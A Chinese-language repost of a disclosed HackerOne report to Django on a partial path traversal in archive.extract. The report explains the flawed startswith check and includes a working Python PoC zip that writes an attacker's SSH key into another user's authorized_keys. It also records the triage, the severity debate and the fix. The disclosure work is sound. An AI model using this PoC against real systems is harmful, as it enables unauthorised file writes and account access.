Django CVE-2021-3281补丁不完整导致的路径遍历漏洞深度解析

本文详细分析了Django框架中CVE-2021-3281漏洞的补丁不完整问题,描述了如何通过部分路径遍历在提取归档文件时写入目标目录之外的文件,并包含漏洞复现的PoC代码。

Django | 报告 #3328367 - 通过archive.extract的路径遍历 - CVE 2021-3281 不完整补丁

时间线

  • ID已验证的黑客(已成功完成身份验证检查)stackered 向 Django 提交了一份报告。
  • 2025年9月5日,下午1:21(UTC)

报告内容

你好,

在对之前的漏洞补丁进行代码审查时,我发现针对 CVE-2021-3281 的修复是不完整的。作为提醒,为了缓解此漏洞,在 ZipArchive 和 TarArchive 类的 extract 函数中添加了以下防护逻辑,以确保所有文件都提取到基础文件夹(target_path)下。

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

abspath 函数用于获取绝对且规范化的唯一路径。然后,利用 startswith 函数来验证目标路径是否在预期的基础文件夹内。然而,abspath 函数会移除末尾的路径分隔符,这使得防护逻辑不足以抵御部分路径遍历攻击。

假设基础文件夹定义为 /var/lib/,初始文件名为 /var/library/test.txt。由于末尾斜杠被移除,攻击者仍然可以部分路径遍历到另一个以相同字符开头的目录,因为这可以通过检查。

1
"/var/library/test.txt".startswith("/var/lib") == true

例如,在 Python CLI 中执行以下行不会引发预期的异常。

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
    raise Exception

此类部分路径遍历漏洞的一个现实例子可以在这里找到。

影响

这导致了一个部分路径遍历漏洞,允许攻击者在解压归档文件(tar 和 zip)时,将文件写入基础目录之外。

团队互动

  • nessita (Django 工作人员) 发表评论。 2025年9月11日,下午3:53(UTC)

    你好, 感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对此信息保密。 如果您尚未阅读,请查看 Django 安全团队如何评估报告:​https://docs.djangoproject.com/en/dev/internals/security/。 请注意,我们可能需要几周时间才能完成分析。除非您发现新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。 此致,Django 安全团队。

  • theorangeone (Django 工作人员) 将状态更改为 需要更多信息2025年9月16日,上午11:29(UTC)

    感谢您的报告!但是,我们自己无法复现这个问题。您能否提供一个使用 Django 工具并展示漏洞利用的 PoC?希望我们可以用它来复现并解决问题。

  • ID已验证的黑客 stackered 将状态更改为 2025年9月16日,下午1:28(UTC)

    你好, 当然,这里是一个使用目标 Django 函数的功能性 PoC。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    import zipfile
    from django.utils.archive import *
    
    zip_path = "malicious.zip"
    
    def create_malicious_zip():
        with zipfile.ZipFile(zip_path, "w") as zf:
            zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
            zf.writestr("test.txt", "Test\n")
        print(f"Archive {zip_path} hase been successfully created")
    
    def extract_archive():
        archive = ZipArchive(zip_path)
        archive.extract("/home/john")
    
    if __name__ == "__main__":
        create_malicious_zip()
        extract_archive()
    

    /home 中创建两个目录(john 和 johnny),可由运行 poc 的同一用户写入。 这将在 /home/johnny/.ssh/authorized_keys 中添加(如果不存在则创建)攻击者的 ssh 密钥,即使目标提取目录设置为 /home/john

  • sarahvboyce (Django 工作人员) 将严重性从中等 (5.3) 更新为低 (3.7)。 2025年9月18日,上午10:04(UTC)

    要使此攻击生效,攻击者必须知道用户将通过 startapp --template 等在哪个目录进行提取。

  • sarahvboyce (Django 工作人员) 将状态更改为 已分类2025年9月18日,上午10:09(UTC)

    感谢您的报告和进一步信息。拥有第二个文件对于复现问题很重要。 我们已经确认了该漏洞,并已请求 CVE。 我已经附加了我们建议的缓解解决方案。您能否测试一下这个补丁,以确保它能可靠地修复问题? 0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch (F4798484) 我们计划在一篇博客文章中提及漏洞的发现者。“stackered” 可以吗,或者您希望以其他方式获得署名? 包含此修复的 Django 版本目前计划在十月发布。在更新版本发布之前,请继续对此保密。 再次感谢!

  • ID已验证的黑客 stackered 发表评论。 2025年9月18日,下午1:21(UTC)

    你好, 感谢您的回复。很高兴您能够复现这个问题。 是的,拥有第二个文件对于让 has_leading_dir 函数返回 False 很重要。 我审查了补丁,它确实修复了问题。 使用 Stackered 作为署名是可以的,谢谢。 不过,我只是想和您分享我对严重性的看法。实际上,您是对的,攻击者必须知道提取的文件将被放在哪个目录。然而,通过拦截和分析请求来猜测通常并不困难。除此之外,应用程序可能是开源的,在这种情况下,目录将很容易识别。最后,在某些应用程序中,提取目录甚至可能由攻击者控制。正是出于这些原因,我将严重性评估为中等。

  • ID已验证的黑客 stackered 发表评论。 2025年9月24日,下午12:57(UTC)

    你好,您考虑过根据我之前的消息修改漏洞的严重性吗?

  • sarahvboyce (Django 工作人员) 发表评论。 2025年9月24日,下午1:48(UTC)

    感谢您对补丁的审查。此漏洞已被分配 CVE-2025-59682,版本发布计划定于 10 月 1 日。 请继续对此保密。 关于严重性,我们保持当前的评估。 archive.extract 是一个未记录的方法,因此根据我们的安全策略,通常不在范围内:https://docs.djangoproject.com/en/5.2/internals/security/#code-under-test-must-feasibly-exist-in-a-django-project Django 包含许多不属于其公共 API 的私有和未记录函数。如果漏洞依赖于以不安全的方式直接调用这些内部函数,则不会被视为有效的安全问题。 但是,我们需要确保 Django 本身正在以安全的方式使用这些未记录的方法。这将范围缩小到 python manage.py startproject/app --templatearchive.extract 的使用。这些是由开发人员在设置项目时运行的。这些不用于已部署的应用程序,因此您提出的建议不适用。

  • ID已验证的黑客 stackered 发表评论。 2025年9月24日,下午2:08(UTC)

    好的,谢谢您的信息,下次我们会更仔细地评估漏洞是否可能存在于 Django 项目中。

  • jacobtylerwalls (Django 工作人员) 关闭了报告并将状态更改为 已解决2025年10月2日,上午12:49(UTC)

    此问题已于 10 月 1 日随 Django 版本 5.2.7、5.1.13 和 4.2.25 一起修复。

  • The Internet Bug Bounty 已决定此报告不符合获得赏金的条件。 2025年11月11日,下午7:22(UTC)

    我们无法在此分配货币奖励。如果您想要一个,请按照 https://hackerone.com/ibb 上的说明将漏洞提交给 Internet Bug Bounty。

  • stackered 请求披露此报告。 7 天前

  • jacobtylerwalls (Django 工作人员) 同意披露此报告。 7 天前

  • 此报告已被披露。 7 天前

报告信息

  • 报告日期:2025年9月5日,下午1:21(UTC)
  • 报告者:stackered
  • 报告对象:Django
  • 报告 ID:#3328367
  • 状态:已解决
  • 严重性:低 (3.7)
  • 披露日期:2025年11月21日,下午7:05(UTC)
  • 弱点:路径遍历
  • CVE ID:CVE-2021-3281
  • 赏金:无
  • 账户详情:无

看起来您的 JavaScript 被禁用了。要使用 HackerOne,请在浏览器中启用 JavaScript 并刷新此页面。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计